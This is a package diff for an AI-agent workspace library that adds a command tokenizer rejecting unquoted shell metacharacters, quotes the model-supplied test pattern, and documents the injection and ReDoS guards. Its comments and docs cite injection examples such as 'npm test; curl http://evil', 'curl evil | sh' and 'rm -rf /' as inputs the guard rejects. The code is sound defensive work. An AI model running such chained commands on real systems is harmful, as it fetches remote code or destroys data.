+ ";",
13
+ "&",
14
+ "|",
15
+ "<",
16
+ ">",
17
+ "`",
18
+ "$",
19
+ "(",
20
+ ")"
21
+ ]);
22
+ /**
23
+ * Tokenize a command line into an argv array WITHOUT any shell semantics.
24
+ *
25
+ * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
26
+ * separate tokens; single- or double-quoted spans are literal (including
27
+ * whitespace and metacharacters) up to the matching close quote, and
28
+ * adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
29
+ * There is **no** variable expansion, globbing, or backslash escaping — a
30
+ * backslash is a literal byte, so Windows paths survive untouched.
31
+ *
32
+ * Returns `null` — "this command cannot be represented as a single argv" —
33
+ * for an empty/whitespace-only line, an unbalanced quote, or any unquoted
34
+ * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
35
+ * policy gate treats `null` as denied and the local backend refuses to
36
+ * spawn it, which is what closes the `allowed_cmd; anything-else` injection.
37
+ *
38
+ * @example
39
+ * tokenizeCommand('npm test'); // ["npm", "test"]
40
+ * tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
41
+ * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
42
+ */
43
+ function tokenizeCommand(command) {
44
+ const argv = [];
45
+ let current = "";
46
+ let inToken = false;
47
+ let index = 0;
48
+ while (index < command.length) {
49
+ const char = command[index];
50
+ if (char === "'" || char === "\"") {
51
+ const closing = command.indexOf(char, index + 1);
52
+ if (closing === -1) return null;
53
+ current += command.slice(index + 1, closing);
54
+ inToken = true;
55
+ index = closing + 1;
56
+ continue;
57
+ }
58
+ if (char === " " || char === " ") {
59
+ if (inToken) {
60
+ argv.push(current);
61
+ current = "";
62
+ inToken = false;
63
+ }
64
+ index++;
65
+ continue;
66
+ }
67
+ if (char === "\n" || char === "\r" || UNQUOTED_METACHARACTERS.has(char)) return null;
68
+ current += char;
69
+ inToken = true;
70
+ index++;
71
+ }
72
+ if (inToken) argv.push(current);
73
+ return argv.length > 0 ? argv : null;
74
+ }
75
+
76
+ //#endregion
77
+ export { tokenizeCommand };
78
+ //# sourceMappingURL=tokenize-command.mjs.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\r\n * Characters that are refused when they appear UNQUOTED in a command line.\r\n * Workspace commands are executed as a direct argv spawn — never through a\r\n * shell — so none of these can mean what a shell would make them mean\r\n * (chaining, piping, substitution, redirection, subshells). Refusing them\r\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\r\n * rejected instead of silently running commands past the allowlist. Inside\r\n * quotes they are ordinary literal bytes and pass through as argument data.\r\n */\r\nconst UNQUOTED_METACHARACTERS = new Set([\r\n \";\",\r\n \"&\",\r\n \"|\",\r\n \"<\",\r\n \">\",\r\n \"`\",\r\n \"$\",\r\n \"(\",\r\n \")\",\r\n]);\r\n\r\n/**\r\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\r\n *\r\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\r\n * separate tokens; single- or double-quoted spans are literal (including\r\n * whitespace and metacharacters) up to the matching close quote, and\r\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\r\n * There is **no** variable expansion, globbing, or backslash escaping — a\r\n * backslash is a literal byte, so Windows paths survive untouched.\r\n *\r\n * Returns `null` — \"this command cannot be represented as a single argv\" —\r\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\r\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\r\n * policy gate treats `null` as denied and the local backend refuses to\r\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\r\n *\r\n * @example\r\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\r\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\r\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\r\n */\r\nexport function tokenizeCommand(command: string): string[] | null {\r\n const argv: string[] = [];\r\n let current = \"\";\r\n let inToken = false;\r\n let index = 0;\r\n\r\n while (index < command.length) {\r\n const char = command[index];\r\n\r\n if (char === \"'\" || char === '\"') {\r\n const closing = command.indexOf(char, index + 1);\r\n\r\n // Unbalanced quote — the intended argv is ambiguous; refuse.\r\n if (closing === -1) {\r\n return null;\r\n }\r\n\r\n current += command.slice(index + 1, closing);\r\n inToken = true;\r\n index = closing + 1;\r\n\r\n continue;\r\n }\r\n\r\n if (char === \" \" || char === \"\\t\") {\r\n if (inToken) {\r\n argv.push(current);\r\n current = \"\";\r\n inToken = false;\r\n }\r\n\r\n index++;\r\n\r\n continue;\r\n }\r\n\r\n if (char === \"\\n\" || char === \"\\r\" || UNQUOTED_METACHARACTERS.has(char)) {\r\n return null;\r\n }\r\n\r\n current += char;\r\n inToken = true;\r\n index++;\r\n }\r\n\r\n if (inToken) {\r\n argv.push(current);\r\n }\r\n\r\n return argv.length > 0 ? argv : null;\r\n}\r\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CACtC;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;AACF,CAAC;;;;;;;;;;;;;;;;;;;;;;AAuBD,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ;EAErB,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;GAGT,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,QAAQ,wBAAwB,IAAI,IAAI,GACpE,OAAO;EAGT,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI,OAAO;AAClC"}
@@ -9,7 +9,8 @@ interface MakeRunTestsToolOptions {
9
9
  name?: string;
10
10
  /**
11
11
  * The base test command to run (default `"npm test"`). When the model
12
- * supplies a `pattern`, it is appended to this command.
12
+ * supplies a `pattern`, it is appended to this command as a single
13
+ * quoted argument.
13
14
  */
14
15
  command?: string;
15
16
  }
@@ -20,8 +21,10 @@ interface MakeRunTestsToolOptions {
20
21
  *
21
22
  * The base command defaults to `"npm test"` and can be overridden via
22
23
  * `options.command`. When the model passes a `pattern`, it is appended to
23
- * the command as a path/suite filter forwarded to the runner (e.g.
24
- * `"npm test src/cart"`). Like `run_shell`, the resolved command's
24
+ * the command as a **single quoted argument** — a path/suite filter the
25
+ * tokenizer hands to the runner as one argv element (e.g.
26
+ * `npm test "src/cart"`), so shell metacharacters inside it are literal
27
+ * data, never a second command. Like `run_shell`, the resolved command's
25
28
  * executable is gated by the shell policy — a denial surfaces in the
26
29
  * result's `error` field — and a non-zero exit (failing tests) comes back
27
30
  * as `data` for the agent to read and fix.
@@ -1 +1 @@
1
- {"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;UAqDiB,uBAAA;;EAEf,IAAA;EAFe;;;;EAOf,OAAO;AAAA;;;;;;;;;;;;;;;;;;AA2BoC;;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA,GACT,YAAA,CAAa,aAAA,EAAe,cAAA"}
1
+ {"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;UAmEiB,uBAAA;;EAEf,IAAA;EAFe;;;;AAQR;EAAP,OAAO;AAAA;;;;;;;;;;;;;;;;;AA6BoC;;;;;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA,GACT,YAAA,CAAa,aAAA,EAAe,cAAA"}
@@ -7,7 +7,10 @@ const DEFAULT_RUN_TESTS_TOOL_NAME = "run_tests";
7
7
  const DEFAULT_TEST_COMMAND = "npm test";
8
8
  /**
9
9
  * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the
10
- * only field and is optional; when present it must be a string. Validation
10
+ * only field and is optional; when present it must be a string without
11
+ * double quotes or newlines — the pattern is forwarded to the runner as a
12
+ * single double-quoted argument, and those characters would break out of
13
+ * the quoting (i.e. inject extra arguments or commands). Validation
11
14
  * happens without a runtime schema dependency, mirroring the wider tool
12
15
  * layer.
13
16
  */
@@ -22,6 +25,10 @@ const runTestsInputSchema = { "~standard": {
22
25
  message: "pattern must be a string",
23
26
  path: ["pattern"]
24
27
  }] };
28
+ if (typeof candidate.pattern === "string" && /["\r\n]/.test(candidate.pattern)) return { issues: [{
29
+ message: "pattern must not contain double quotes or newlines",
30
+ path: ["pattern"]
31
+ }] };
25
32
  const result = {};
26
33
  if (candidate.pattern !== void 0) result.pattern = candidate.pattern;
27
34
  return { value: result };
@@ -34,8 +41,10 @@ const runTestsInputSchema = { "~standard": {
34
41
  *
35
42
  * The base command defaults to `"npm test"` and can be overridden via
36
43
  * `options.command`. When the model passes a `pattern`, it is appended to
37
- * the command as a path/suite filter forwarded to the runner (e.g.
38
- * `"npm test src/cart"`). Like `run_shell`, the resolved command's
44
+ * the command as a **single quoted argument** — a path/suite filter the
45
+ * tokenizer hands to the runner as one argv element (e.g.
46
+ * `npm test "src/cart"`), so shell metacharacters inside it are literal
47
+ * data, never a second command. Like `run_shell`, the resolved command's
39
48
  * executable is gated by the shell policy — a denial surfaces in the
40
49
  * result's `error` field — and a non-zero exit (failing tests) comes back
41
50
  * as `data` for the agent to read and fix.
@@ -56,7 +65,7 @@ function makeRunTestsTool(ops, options) {
56
65
  action: (input) => input.pattern ? `Running tests matching "${input.pattern}"` : "Running tests",
57
66
  input: runTestsInputSchema,
58
67
  execute: (input) => {
59
- const command = input.pattern ? `${baseCommand} ${input.pattern}` : baseCommand;
68
+ const command = input.pattern ? `${baseCommand} "${input.pattern}"` : baseCommand;
60
69
  return ops.exec(command);
61
70
  }
62
71
  });
@@ -1 +1 @@
1
- {"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n} from \"../contracts\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string. Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n};\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command.\n */\n command?: string;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a path/suite filter forwarded to the runner (e.g.\n * `\"npm test src/cart\"`). Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\n input: runTestsInputSchema,\n execute: (input) => {\n const command = input.pattern ? `${baseCommand} ${input.pattern}` : baseCommand;\n\n return ops.exec(command);\n },\n });\n}\n"],"mappings":";;;;AASA,MAAM,8BAA8B;;AAGpC,MAAM,uBAAuB;;;;;;;AAQ7B,MAAM,sBAAuD,EAC3D,aAAa;CACX,SAAS;CACT,QAAQ;CACR,WAAW,UAAU;EAGnB,IAAI,UAAU,UAAa,UAAU,MACnC,OAAO,EAAE,OAAO,CAAC,EAAE;EAGrB,IAAI,OAAO,UAAU,UACnB,OAAO,EAAE,QAAQ,CAAC,EAAE,SAAS,qBAAqB,CAAC,EAAE;EAGvD,MAAM,YAAY;EAElB,IAAI,UAAU,YAAY,UAAa,OAAO,UAAU,YAAY,UAClE,OAAO,EAAE,QAAQ,CAAC;GAAE,SAAS;GAA4B,MAAM,CAAC,SAAS;EAAE,CAAC,EAAE;EAGhF,MAAM,SAAwB,CAAC;EAE/B,IAAI,UAAU,YAAY,QACxB,OAAO,UAAU,UAAU;EAG7B,OAAO,EAAE,OAAO,OAAO;CACzB;AACF,EACF;;;;;;;;;;;;;;;;;;;;;;AAkCA,SAAgB,iBACd,KACA,SAC6C;CAC7C,MAAM,cAAc,SAAS,WAAW;CAExC,OAAO,KAAoC;EACzC,MAAM,SAAS,QAAQ;EACvB,aACE;EAGF,SAAS,UACP,MAAM,UAAU,2BAA2B,MAAM,QAAQ,KAAK;EAChE,OAAO;EACP,UAAU,UAAU;GAClB,MAAM,UAAU,MAAM,UAAU,GAAG,YAAY,GAAG,MAAM,YAAY;GAEpE,OAAO,IAAI,KAAK,OAAO;EACzB;CACF,CAAC;AACH"}
1
+ {"version":3,"file":"run-tests.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/tools/run-tests.ts"],"sourcesContent":["import type { StandardSchemaV1 } from \"@standard-schema/spec\";\r\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\r\nimport type {\r\n RunShellResult,\r\n RunTestsInput,\r\n WorkspaceOps,\r\n} from \"../contracts\";\r\n\r\n/** The default tool name `run_tests` is exposed to the LLM under. */\r\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\r\n\r\n/** The default command run when no `command` override is configured. */\r\nconst DEFAULT_TEST_COMMAND = \"npm test\";\r\n\r\n/**\r\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\r\n * only field and is optional; when present it must be a string without\r\n * double quotes or newlines — the pattern is forwarded to the runner as a\r\n * single double-quoted argument, and those characters would break out of\r\n * the quoting (i.e. inject extra arguments or commands). Validation\r\n * happens without a runtime schema dependency, mirroring the wider tool\r\n * layer.\r\n */\r\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\r\n \"~standard\": {\r\n version: 1,\r\n vendor: \"@warlock.js/ai-workspace\",\r\n validate: (value) => {\r\n // A no-argument call (the common case) is valid and runs the bare\r\n // test command.\r\n if (value === undefined || value === null) {\r\n return { value: {} };\r\n }\r\n\r\n if (typeof value !== \"object\") {\r\n return { issues: [{ message: \"expected an object\" }] };\r\n }\r\n\r\n const candidate = value as Record<string, unknown>;\r\n\r\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\r\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\r\n }\r\n\r\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\r\n return {\r\n issues: [\r\n {\r\n message: \"pattern must not contain double quotes or newlines\",\r\n path: [\"pattern\"],\r\n },\r\n ],\r\n };\r\n }\r\n\r\n const result: RunTestsInput = {};\r\n\r\n if (candidate.pattern !== undefined) {\r\n result.pattern = candidate.pattern as string;\r\n }\r\n\r\n return { value: result };\r\n },\r\n },\r\n};\r\n\r\n/** Options for {@link makeRunTestsTool}. */\r\nexport interface MakeRunTestsToolOptions {\r\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\r\n name?: string;\r\n /**\r\n * The base test command to run (default `\"npm test\"`). When the model\r\n * supplies a `pattern`, it is appended to this command as a single\r\n * quoted argument.\r\n */\r\n command?: string;\r\n}\r\n\r\n/**\r\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\r\n * `run_shell` that runs the workspace's configured test command through\r\n * the policy-enforced {@link WorkspaceOps} layer.\r\n *\r\n * The base command defaults to `\"npm test\"` and can be overridden via\r\n * `options.command`. When the model passes a `pattern`, it is appended to\r\n * the command as a **single quoted argument** — a path/suite filter the\r\n * tokenizer hands to the runner as one argv element (e.g.\r\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\r\n * data, never a second command. Like `run_shell`, the resolved command's\r\n * executable is gated by the shell policy — a denial surfaces in the\r\n * result's `error` field — and a non-zero exit (failing tests) comes back\r\n * as `data` for the agent to read and fix.\r\n *\r\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\r\n * @param options - Optional tool-name and base-command overrides.\r\n *\r\n * @example\r\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\r\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\r\n * if (data.exitCode !== 0) inspect(data.stderr);\r\n */\r\nexport function makeRunTestsTool(\r\n ops: WorkspaceOps,\r\n options?: MakeRunTestsToolOptions,\r\n): ToolContract<RunTestsInput, RunShellResult> {\r\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\r\n\r\n return tool<RunTestsInput, RunShellResult>({\r\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\r\n description:\r\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\r\n \"name pattern forwarded to the test runner. Failing tests return a \" +\r\n \"non-zero exit code as data, not an error.\",\r\n action: (input) =>\r\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\r\n input: runTestsInputSchema,\r\n execute: (input) => {\r\n // The pattern rides as ONE double-quoted token (quotes/newlines are\r\n // rejected by the schema), so it reaches the runner as a single argv\r\n // element and can never smuggle in additional commands or arguments.\r\n const command = input.pattern ? `${baseCommand} \"${input.pattern}\"` : baseCommand;\r\n\r\n return ops.exec(command);\r\n },\r\n });\r\n}\r\n"],"mappings":";;;;AASA,MAAM,8BAA8B;;AAGpC,MAAM,uBAAuB;;;;;;;;;;AAW7B,MAAM,sBAAuD,EAC3D,aAAa;CACX,SAAS;CACT,QAAQ;CACR,WAAW,UAAU;EAGnB,IAAI,UAAU,UAAa,UAAU,MACnC,OAAO,EAAE,OAAO,CAAC,EAAE;EAGrB,IAAI,OAAO,UAAU,UACnB,OAAO,EAAE,QAAQ,CAAC,EAAE,SAAS,qBAAqB,CAAC,EAAE;EAGvD,MAAM,YAAY;EAElB,IAAI,UAAU,YAAY,UAAa,OAAO,UAAU,YAAY,UAClE,OAAO,EAAE,QAAQ,CAAC;GAAE,SAAS;GAA4B,MAAM,CAAC,SAAS;EAAE,CAAC,EAAE;EAGhF,IAAI,OAAO,UAAU,YAAY,YAAY,UAAU,KAAK,UAAU,OAAO,GAC3E,OAAO,EACL,QAAQ,CACN;GACE,SAAS;GACT,MAAM,CAAC,SAAS;EAClB,CACF,EACF;EAGF,MAAM,SAAwB,CAAC;EAE/B,IAAI,UAAU,YAAY,QACxB,OAAO,UAAU,UAAU;EAG7B,OAAO,EAAE,OAAO,OAAO;CACzB;AACF,EACF;;;;;;;;;;;;;;;;;;;;;;;;AAqCA,SAAgB,iBACd,KACA,SAC6C;CAC7C,MAAM,cAAc,SAAS,WAAW;CAExC,OAAO,KAAoC;EACzC,MAAM,SAAS,QAAQ;EACvB,aACE;EAGF,SAAS,UACP,MAAM,UAAU,2BAA2B,MAAM,QAAQ,KAAK;EAChE,OAAO;EACP,UAAU,UAAU;GAIlB,MAAM,UAAU,MAAM,UAAU,GAAG,YAAY,IAAI,MAAM,QAAQ,KAAK;GAEtE,OAAO,IAAI,KAAK,OAAO;EACzB;CACF,CAAC;AACH"}
package/llms-full.txt CHANGED
@@ -112,7 +112,7 @@ ai.supervisor({
112
112
 
113
113
  ---
114
114
  name: use-a-workspace
115
- description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
115
+ description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard'', ''command injection guard for an agent shell tool'', ''ReDoS-safe grep for an agent''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
116
116
  ---
117
117
 
118
118
  # Use a workspace — a policy jail for an agent's filesystem + shell
@@ -143,7 +143,7 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
143
143
  | `cwd` | **Absolute** jail root. Every path resolves against it and must stay inside. |
144
144
  | `allowPaths` | Extra readable roots outside `cwd`. |
145
145
  | `denyPaths` | Globs (`*`, `**`, `?`) blocked **even inside `cwd`** — e.g. `[".git/**", ".env*"]`. A bare dir name (`"node_modules"`) also blocks its contents. |
146
- | `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading token. **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
146
+ | `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading argv token (after tokenizing — see below). **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
147
147
  | `shell.inheritEnv` | Opt-in `process.env` keys to pass through (e.g. `["PATH"]`). **Nothing leaks in otherwise** — a command can't find `node`/`npm` without `PATH`. |
148
148
  | `shell.env` | Explicit env vars injected into every spawned process (override inherited on collision). |
149
149
  | `shell.timeoutMs` / `shell.maxOutputBytes` | Per-command wall-clock cap (SIGKILL on expiry) and stdout/stderr byte cap. |
@@ -152,6 +152,21 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
152
152
 
153
153
  > **The most common gotcha:** `run_shell` fails to find `node`/`npm` because the env is empty. Add `shell: { allow: ["npm", "node"], inheritEnv: ["PATH"] }`.
154
154
 
155
+ ## `run_shell`/`exec` run argv, NOT a shell
156
+
157
+ Commands are tokenized (via `tokenizeCommand`) into an argv and spawned with **no shell semantics** — no pipes, redirection, chaining, backticks, or variable expansion. `npm test && rm -rf /` or `` `curl evil` `` doesn't chain or substitute; it's rejected outright rather than executed piecemeal:
158
+
159
+ ```ts
160
+ await ws.exec("npm test"); // OK — ["npm", "test"]
161
+ await ws.exec('node -e "console.log(1)"'); // OK — quotes respected, one argv element
162
+ await ws.exec("npm test; curl http://evil"); // rejected — unquoted `;` is a metacharacter
163
+ ```
164
+
165
+ - **Quoting is respected**; **unquoted** shell metacharacters — `;` `&` `|` `<` `>` `` ` `` `$` `(` `)` and newlines — are rejected as a `WorkspacePolicyError` `type: "denied-command"` before anything spawns. The `shell.allow`/`shell.deny` basename check runs against the tokenized argv's first element, not a raw string prefix, so a disguised leading token can't slip past the gate.
166
+ - **On Windows**, the argv is run through a `cmd.exe /d /s /c` wrapper with every element individually quoted (needed because batch shims like `npm.cmd` can't be spawned shell-less); arguments containing `"`, `%`, or newlines are refused there rather than risked (guards the BatBadBut-class argument-smuggling bug class).
167
+ - **`run_tests`'s `pattern`** (model-controlled test-name filter) is forwarded as a **single double-quoted argv token** to the runner, not concatenated into the command string — a pattern containing double quotes or newlines is rejected at input validation rather than passed through.
168
+ - This is a **behavior change, not just a hardening detail**: shell conveniences your commands may have relied on (pipes, redirection, `&&` chaining, `$(...)` substitution) no longer work in `run_shell`/`exec`. Compose multi-step work as separate `ws.exec()` calls instead of a single shelled pipeline.
169
+
155
170
  ## Two callers, one jail
156
171
 
157
172
  ### Agent-facing — `ws.tools.*`
@@ -181,6 +196,10 @@ await ws.mkdir("src/generated");
181
196
  await ws.remove("dist");
182
197
  ```
183
198
 
199
+ ## `grep` is ReDoS-bounded
200
+
201
+ The model supplies `pattern` freely, so `grep` treats it as untrusted input before compiling it into a `RegExp`: patterns over 200 characters and patterns matching a nested-quantifier shape (`(x+)+`, `(x*)*`, `(x+)*`, `(x*)+`-style groups — the classic catastrophic-backtracking shape) are rejected up front as a `WorkspacePolicyError` `type: "unsafe-pattern"`, before any regex is compiled. Any scanned line longer than 2000 characters is skipped (not tested), bounding the worst-case backtracking cost of any single call regardless of pattern shape.
202
+
184
203
  ## Read-before-edit (the stale-hash guard)
185
204
 
186
205
  `readFile` returns a SHA-256 `hash` of the full file. Pass it to `editFile`'s `expectHash`; if the file changed since you read it, the edit is rejected as stale so you re-read before clobbering. `editFile` also requires the `oldString` to be **exact and unique** — pass `replaceAll: true` to replace every occurrence, or include more surrounding context to disambiguate.
@@ -201,7 +220,7 @@ try {
201
220
  }
202
221
  ```
203
222
 
204
- - `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"`.
223
+ - `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"` (not allow-listed, or rejected during tokenizing — unquoted metacharacters, disallowed Windows-wrapper characters) | `"unsafe-pattern"` (`grep` pattern too long or nested-quantifier ReDoS shape).
205
224
  - `WorkspaceEditError.type`: `"not-found"` | `"not-unique"` | `"stale-hash"`.
206
225
 
207
226
  ## Composition — `readonly()` and `scope()`
package/llms.txt CHANGED
@@ -7,4 +7,4 @@
7
7
  ## Skills
8
8
 
9
9
  - [build-loop-agent](@warlock.js/ai-workspace/build-loop-agent/SKILL.md): Wire a @warlock.js/ai-workspace into a coding agent that closes the read → edit → run-tests loop on its own. Triggers: `ws.tools.all()`, `ai.agent({ tools: ws.tools.all() })`, `maxTrips`, `run_tests`, `run_shell`, 'agent that fixes a failing test', 'make the suite green', 'coding agent that edits a repo', 'build-loop agent', 'self-correcting agent', 'read-only code reviewer', 'scaffold then hand off to an agent', 'share one workspace across a supervisor', 'least-privilege agent tools', 'errors as tool data'; typical wiring `const ws = ai.workspace({ cwd, shell }); ai.agent({ model, tools: ws.tools.all(), maxTrips })`. Skip: constructing the workspace / its policy / direct methods / readonly / scope — `@warlock.js/ai-workspace/use-a-workspace/SKILL.md`; the agent loop / maxTrips / events themselves — `@warlock.js/ai/run-ai-agent/SKILL.md`.
10
